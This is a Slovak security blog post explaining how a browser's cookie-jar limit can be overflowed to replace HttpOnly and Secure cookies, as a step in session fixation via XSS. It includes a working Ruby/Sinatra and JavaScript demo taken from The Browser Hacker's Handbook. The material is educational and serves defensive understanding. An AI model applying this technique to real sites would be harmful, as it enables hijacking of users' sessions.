HttpOnly príznak pri cookies zabraňuje, aby sa pomocou Javascriptu dala ich hodnota načítať alebom meniť. Je jedným z opatrení, ktoré slúži ako prevencia proti ďalším útokom, napríklad kradnutie session v spojeni so „Session Fixation“ (viac na https://www.owasp.org/index.php/Session_fixation).
Predpokladajme, že aplikácia zraniteľná na „Session Fixation“ nastaví HttpOnly príznak pre session cookie.
Útočník v bežných prípadoch nedokáže spraviť nasledovné:
- Pristúpiť ku cookie, zmeniť jej hodnotu
- Počkat, až sa používateľ opätovne prihlási
- Nastaviť si už pre neho známu hodnotu cookie u seba a získať tým prístup k jeho session
Problematický je prvý bod, v prípade, že by sme napríklad našli zranitelnosť typu XSS, dokázali by sme vytvoriť iné cookies bez HttpOnly príznaku (ktorý by Javascript tiež nemal umožniť ani nastaviť). Tento fakt nám o chvíľu pomôže.
V minulosti sa už objavilo niekoľko útokov, ako pristúpiť cez Javascript k
HttpOnly cookies, napríklad CVE-2012-0053 pre niektoré verzie webového servera Apache.
Jedna z celkom elegantných technik, ktorú ju aktuálne možné použiť pri väčšine prehliadačov v poslednej verzii (testovaný Firefox 32.0.3, Google Chrome 37.0.2062.124) je „Cookie Jar Overflow“.
Webový prehliadač si ukladá pre konkrétne domény v rámci Same Origin Policy (SOP) len istý počet cookies a pokiaľ ich dokáže útočník vygenerovať dostatočné množstvo, tie pôvodne „vypadnú“ a môže ich ešte raz vytvoriť, tentokrát bez HttpOnly príznaku. Kvôli SOP obmedzeniu je nutné stránku načítať v rámci rovnakej „document.domain“ (čo vo väčsine prípadov znamená nájsť ďalšiu XSS zraniteľnosť).
Útok bol demonštrovaný v knihe The Browser Hacker’s Handbook. Nižšie uvádzam kód v takmer nezmenenej forme, funguje nasledovne:
- Po načítaní stránky sa nastaví cookie „link_url“ na hodnotu http://www.google.com, s nastaveným HttpOnly
- Skúsime zmeniť hodnotu cookie na „https://nethemba.com“ (kliknutím na Attempt Change), po reloade stránky zistíme, že sa nič nestalo (HttpOnly)
- Kliknutím na Spam Cookies vygenerujeme niekoľko ďalších cookies s názvom test_COOKIE<id>, čím naša cookie „vypadne“ z Cookie Jar
- Vygenerujeme si novú cookie s rovnakým názvom (link_url), ale bez bezpečnostných príznakov
require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'json'
class CookieDemo < Sinatra::Base
get "/" do
link_url = "http://www.google.com"
if !request.cookies['link_url'] then
response.set_cookie "link_url", {:value => link_url, :httponly => true}
else
link_url = request.cookies['link_url']
end
'<A HREF="' + link_url + '">Secret Login Page</A>
<script>
function setCookie()
{
document.cookie = "link_url=https://nethemba.com";
alert("Single cookie sent");
}
function setCookies()
{
var i = 0;
while (i < 200)
{
kname = "test_COOKIE" + i;
document.cookie = kname + "=test";
i = i + 1;
}
document.cookie = "link_url=https://nethemba.com";
alert("Overflow Executed");
}
</script>
<BR>
<input type=button value="Attempt Change" onclick="setCookie()"><BR>
<input type=button value="Spam Cookies" onclick="setCookies()">
'
end
end
@routes = {
"/" => CookieDemo.new
}
@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("nethemba.com", 4000, @rack_app)
Thin::Logging.silent = true
Thin::Logging.debug = false
puts "[#{Time.now}] Thin ready"
@thin.start
Realizovaním útoku sa navyše zbavíme aj „Secure“ príznaku, ktorý zaručuje, aby sa cookies nastavené v HTTPS spojení nikdy neposielali pomocou protokolu HTTP.
Zdroj:
Wade Alcorn, Christian Frichot, Michele Orru: The Browser Hacker’s Handbook, April 2014
